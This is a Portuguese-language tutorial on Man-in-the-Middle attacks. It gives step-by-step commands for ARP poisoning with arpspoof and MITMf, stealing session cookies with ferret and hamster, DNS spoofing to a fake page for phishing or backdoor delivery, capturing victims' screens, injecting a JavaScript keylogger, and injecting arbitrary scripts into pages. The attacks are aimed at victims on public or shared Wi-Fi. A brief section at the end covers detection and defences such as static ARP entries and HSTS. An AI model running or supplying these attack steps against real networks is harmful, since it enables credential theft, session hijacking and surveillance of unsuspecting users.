Vous êtes sur la page 1sur 25

Man-in-the-Middle

Neste tutorial iremos abordar o tipo de ataque conhecido como Man in the Middle.

Esse teste "envenena" a Tabela ARP da vitima, fazendo com que a máquina atacante,
nossa, se passe pelo roteador, fazendo com que consigamos interceptar o tráfego e ter
acesso a dados sigilosos trocados entre os dois atores.

A exploração do ARP Poisoning é o método mais rápido de se estabelecer no meio da


comunicação entre duas máquinas e interceptar as informações enviadas entre ambas,
fazendo com que possua acesso a dados confidenciais, senhas e relatórios de tráfego.
Esse método se aplica somente em redes Ethernet ou seja, esse tipo de comunicação
pode ser resumido em redes internas, sejam elas empresariais, residenciais ou até mesmo
aquele wifi livre na praça de alimentação do Shopping ou do café que você gosta de
frequentar.

Esse é um acesso de uma rede normal

Quando um Hacker faz o ARP Spoofing


E a consequência do MITM é

Traremos dois modos de fazer o ataque men in the middle

MODO 1 - ARP Poisoning arpspoof


Arpspoof é uma ferramenta parte da suíte chamada dsniff, no qual contem um numero
de ferramenta para testes de penetração. Arpspoof pode ser usado para lançar um
ataque MITM e redirecionar o tráfico fluindo para nosso aparelho ou captador.
Funciona em Android e outros celulares

verificar nossa ip através de ipconfig:


verificar no windows através de arp -a

1. Diz ao alvo que eu sou o router.

arpspoof -i [interface] -t [Target IP] [AccesPoint IP]



Ex: arpspoof -i wlan0 -t 192.168.1.5 192.168.1.1


2. Diz ao AP que eu sou o alvo cliente.


arpspoof -i [interface] -t [AP IP] [Target IP]
Ex: arpspoof -i wlan0 -t 192.168.1.1 192.168.1.5


3. Habilita a emissão de IP para fluir para nosso aparelho sem ser desconectado.
Echo 1 > /proc/sys/net/ipv4/ip_forward
MODO 2 MITMF
O MITMf (Man-In-The-Middle Framework) é uma ferramenta de ataque do Man-In-
The-Middle que visa fornecer uma unica ferramenta para ataques de Man-In-The-
Middle (MiTM) e de rede enquanto atualiza e melhora os ataques e técnicas
existentes.

Originalmente construído para resolver as deficiências significativas de outras


ferramentas (por exemplo, Ettercap, Mallory), foi quase completamente reescrito a
partir do zero para fornecer uma estrutura modular e facilmente extensível que
qualquer um pode usar para implementar seu próprio ataque MITM.
Features of MiTMf Man-In-The-Middle Attack Tool
 The framework contains a built-in SMB, HTTP and DNS server that can be controlled
and used by the various plugins, it also contains a modified version of the SSLStrip
proxy that allows for HTTP modification and a partial HSTS bypass.
 As of version 0.9.8, MITMf supports active packet filtering and manipulation (basically
what etterfilters did, only better), allowing users to modify any type of traffic or protocol.
 The configuration file can be edited on-the-fly while MITMf is running, the changes will
be passed down through the framework: this allows you to tweak settings of plugins
and servers while performing an attack.
 MITMf will capture FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings),
NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos
credentials by using Net-Creds, which is run on startup.
 Responder integration allows for LLMNR, NBT-NS and MDNS poisoning and WPAD
rogue server support.

Available Plugins for MiTMf Man-In-The-Midde Attack


Software
 HTA Drive-By : Injects a fake update notification and prompts clients to download an
HTA application
 SMBTrap : Exploits the ‘SMB Trap’ vulnerability on connected clients
 ScreenShotter : Uses HTML5 Canvas to render an accurate screenshot of a clients
browser
 Responder : LLMNR, NBT-NS, WPAD and MDNS poisoner
 SSLstrip+ : Partially bypass HSTS
 Spoof : Redirect traffic using ARP, ICMP, DHCP or DNS spoofing
 BeEFAutorun : Autoruns BeEF modules based on a client’s OS or browser type
 AppCachePoison : Performs HTML5 App-Cache poisoning attacks
 Ferret-NG : Transperently hijacks client sessions
 BrowserProfiler : Attempts to enumerate all browser plugins of connected clients
 FilePwn : Backdoor executables sent over HTTP using the Backdoor Factory and
BDFProxy
 Inject : Inject arbitrary content into HTML content
 BrowserSniper : Performs drive-by attacks on clients with out-of-date browser plugins
 JSkeylogger : Injects a Javascript keylogger into a client’s webpages
 Replace : Replace arbitrary content in HTML content
 SMBAuth : Evoke SMB challenge-response authentication attempts
 Upsidedownternet : Flips images 180 degrees

Como fazer o ataque MITMF:


Primeiro passo, estar na mesma network que a vitima
mitmf --arp --spoof --gateway (ip do router) --target (ip do target) -i eth0
- o IP do router normalmente é .1 da mesma subnet. Para saber deve colocar o comando
route -n
- e não colocar o target ele coloca toda a subnet
- ele faz sniffing automaticamente para captar os dados
- Já ativa o SSLstrip que faz downgrade de Https para Http mudando a porta 443 para
porta 80
- (os browser ja tem uma proteção para isso e dirão que há uma porta suspeita)

Sites como o google e facebook tem proteção SSH que protegem contra esse tipo de
ataque

MODO 3 para fazer o MITM - Etternet veja no capitulo do Etternet


O que podemos fazer sendo o Men
in the middle

Roubando o Cookie Hijacking


E se o usuário usar o “Lembre-me”? Quando o usuário usar a opção de autenticação
preferindo escolher por logar pelos cookies e não pelo usuário – senha.

Então, ao invés de sniffing a senha, nós podemos sniff o cookies e injetar neles no nosso
navegador, isto permite-nos logar sem usar senha.

instala o ferret com o comando


> apt-get install ferret-sidejack

depois faz o ataque mitmf


>mitmf --arp --spoof --gateway (ip do gateway, normalmente mesma subnet com
final .1) --target (ip do target) -i eth0
divide a tela em três

ferret -i eth0
vai capturar todo o cookie que for efetivado

do outro lado utilizar o comando


>hamster

Quando a vitima acessar algum site com a opção lembre-me e entrar um cookie em
alguma pagina que já está com o login efetivado o Hamster vai mostrar um endereço que
neste caso é 127.0.0.1:1234
deve copiar esse endereço e ir no kali
Firefox - preferences - advanced - Network - settings - manual proxy configuration
e colocar a porta aberta que nesse caso é 1234
ok

depois colocar o ip no endereço e vai aparecer a interface do Hamster


Selecionar o adapter e colocar a interface e Submit Query

Vemos que temos dois Targets

O Ip de baixo é da maquina da vitima, clicando nele veremos todos os cookies ao lado


esquerdo, agora só devemos procurar o cookie que tem a senha do site e entrar nela.
Procuramos a que queremos, neste caso o dailymotion, botão direito e abrir em nova guia

E voilá, você estará conectado com o cookie da vitima sem precisa do user-name e
password.

O ferret não funciona com sites que usam a tecnologia HSTS como o facebook e google
por exemplo

Redirecionar paginas - DNS spoofing


Permite-nos redirecionar qualquer request/requerimento para um certo domínio para
outro domínio, exemplo nós redirecionamos qualquer requerimento para facebook.com
para um falso facebook que seria o IP de nosso kali
Dessa forma podemos instalar um backdoor na vitima

Deve fazer o kali como um server


Com o comando
> service apache2 start

O html da pagina falsa estará no kali no diretório


Devemos ir no file manager e digitar

var/www/html/index.html
Entrará em uma pagina que terá index.html

Essa é a pagina que a vitima será encaminhada

há varios modelos prontos de sites para colocar, porém deve tomar cuidado com essas
paginas prontas da internet.

fazer o comando no terminal

> leafpad /etc/mitmf/mitmf.conf

vai abrir uma pagina e deve ir até o fim e verá os subdomains de qualquer site
Veremos que o *.live.com será redirecionado ao IP 10.20.14.203 que é o nosso próprio IP,
no qual podemos configurar para qualquer domínio da internet em qualquer companhia
de HOST

Você pode colocar somente * para spoof todos os sites

faz o ataque de mitmf acrescentando --dns no final

mitmf --arp --spoof --gateway (ip do router) --target (ip do target) -i eth0 --dns

terá uma informação que DNS spoofing enabled e ARP spoofing enabled
Já estará funcionando e você poderá instalar através desse site qualquer coisa, ou colocar
uma pagina fácil para pegar informações do alvo.

O spoofing de DNS não funcionará contra o Facebook porque ele usa o HSTS, e o motivo
que não funciona contra sites da HSTS é porque os navegadores modernos vêm com uma
lista de sites que só podem navegar como HTTPS e desde que você é redirecionando o
destino para seu host local que não usa HSTS, o navegador simplesmente se recusará a
carregar o site.

MITMF plug-ins
Outra Feature legal que o MITMF tem é os plug-ins
Podemos ver todos os plug-ins digitando:
> mitmf --help
Capturando a tela da vitima
Você pode mudar o intervalo das capturas de tela e se não digitar o comando interval será
o default de 10 segundos

--screen

--interval (seconds) (se não colocar interval vai ser padrão de 10 em 10 segundos)

mitmf --arp --spoof --gateway (ip do router) --target (ip do target) -i eth0 --screen --
interval
As fotos ficam no diretório do kali var/log/mitmf

Veremos todas as screen shots da vitima


Capturando o teclado da vitima
Capturando escrita:

Mesmo que já podemos ver os logins e passwords com o MITMF podemos ver tudo o que
a vitima digita através do comando java script keylogger

--jskeylogger (detectar o que escrever)

mitmf --arp --spoof --gateway (ip do router) --target (ip do target) -i eth0 --jskeylogger
Se a vitima entrar em qualquer site e digitar veremos tudo:

Dessa forma teremos muita informação, o que dificulta bastante a analise posterior.

Injetando Código

Os navegadores podem ler código HTML e códigos Java Script

Primeiramente vamos rodar MITMf e o solicitar help


> mitmf --help
Teremos essas opções:

Começaremos injetando um código bem simples pelo terminal, ele só irá disparar um alerta.

> mitmf --arp --spoof --gateway (ip do router) --targets (ip do target) -i eth0 --inject --js-
payload “alert(‘test’)”;”

Quando a vitima entrar no site o código será injetado.


Quando a vitima entra no site o código será injetado.

Voce poderá procurar vários códigos para keylogger e etc...

Muitas vezes o código pode ser bem grande por isso é mais fácil colocar o código em um
arquivo e no arquivo injetar o código.

Para isso vamos abrir nosso leafpad

>leafpad

E escrever o mesmo código de antes


Depois salvamos no Root com o nome de alert.js
Depois colocamos no código com --inject --js-file e o caminho para o arquivo

> mitmf --arp --spoof --gateway (ip do router) --targets (ip do target) -i eth0 --inject --js-file
/root/alert.js

E quando a vitima entrar no próximo site o código será injetado

Esses códigos foram bem simples, mas poderá ser utilizado com qualquer outro.
Erros:
O MITMf não funciona com a ultima versão do Twisted, a solução é:

1. remove the current installed version:


pip uninstall Twisted

If that command gave you errors, then remove it manually using this command:
rm -rf /usr/lib/python2.7/dist-packages/twisted

2. Install a compatible version:


pip install Twisted==15.5.0

Voce pode baixar –


https://www.cookiecadger.com/?page_id=19
depois arp spoof seu alvo e rodar usando:
java -jar cookiecadger.jar
Descobrir
1. programa que detecta ataque de ARP poison:
http://www.xarp.net/#download

2. Wireshark:

preferencias - protocol - arp/Rarp - detect arp request


quando a vitima estiver sobre MITMF pode ir no wireshark em:
Analyse - expert information - vai ter um Warm dizendo IP duplicated

Defesas
1. Manter seu MAC em Static e não Dynamic nas configurações do router e para
empresa grande é difícil pois precisa configurar sempre

2. Existem diferentes maneiras de defender-se dos ataques MITM, mas a maioria


delas deve ser instalada nos routers/servidores e não são 100% seguras. Existe também a
técnica que aplica uma criptografia complicada entre o cliente e o servidor. Neste caso o
servidor pode identificar-se apresentando um certificado digital para que o cliente possa
estabeleça uma conexão criptográfica e envie informação delicada através da
mesma. Mas esta possibilidade de defesa depende de que ambos servidores tenham tal
criptografia habilitada. Por outro lado, usuários podem proteger-se de ataques MITM
evitando conectar-se a WiFi livres ou instalando plug ins como HTTPS
Everywhere or ForceTLS em seu navegador, tais programas selecionarão apenas
conexões seguras, sempre que estas estejam disponíveis. De todas as maneiras, todas
esratégias de defesa possuem limitações e há provas de que vírus como SSLStrip ou
SSLSniff podem driblar a segurança de conexões SSL.

HSTS: contando ao navegador que a conexão deve ser segura


Normalmente, o atacante utiliza uma conexão convencional, então seu navegador não
identifica nada de errado — os browsers normalmente notificam o usuário quando
identificam alguma ameaça de segurança, mas a ação nesse caso é interpretada como
legal e você cai na armadilha sem perceber.

Se o site utilizasse o método HSTS, abreviação para HTTP Strict Transport Security, o
servidor informaria ao navegador que a conexão entre ambos só pode ser feita de forma
segura. Assim, no início do processo, o browser faria a ligação com o site do banco,
receberia as informações e emitiria uma notificação de que a conexão não é segura e,
portanto, não pode ser completada, evitando a interceptação dos seus dados.
A ideia parece simples e genial, afinal você não precisa fazer nada: o navegador trabalha
em conjunto com a página para evitar ações mal intencionadas. Entretanto, apenas
Firefox, Chrome e Opera têm suporte para HSTS — o Internet Explorer, navegador mais
usado no mundo, não trabalha com esse tipo de recurso.

Informação e cuidado
A Electronict Frontier Foundation (EFF), organização sem fins lucrativos que defende as
liberdades civis na internet, aponta que um dos principais motivos para a ausência do
recurso em um maior número de sites é o desconhecimento dos programadores.

Para combater esse o desconhecimento, as equipes de desenvolvimento por trás dos


navegadores da Mozilla e da Google oferecem informação: ambas mantêm páginas com
instruções sobre como um programador deve proceder para ativar a HSTS em sua página
(aqui e aqui). Já a EFF conta inclusive com uma extensão “HTTPS everywhere” para
Firefox, Chrome, Opera e Android, que força a conexão segura sempre que ela é possível
e ajuda a proteger o usuário.

Entretanto, como muita gente ainda utiliza o Internet Explorer e também como muitos
sites ainda não trabalham com a tecnologia HSTS, a maior ferramenta para evitar cair em
uma armadilha dessas é ficar atento. Inspecione bem as páginas que visita quando acessa
a web a partir de uma rede aberta, pois por mais improváveis que possam parecer, as
ameaças existem.

Vous aimerez peut-être aussi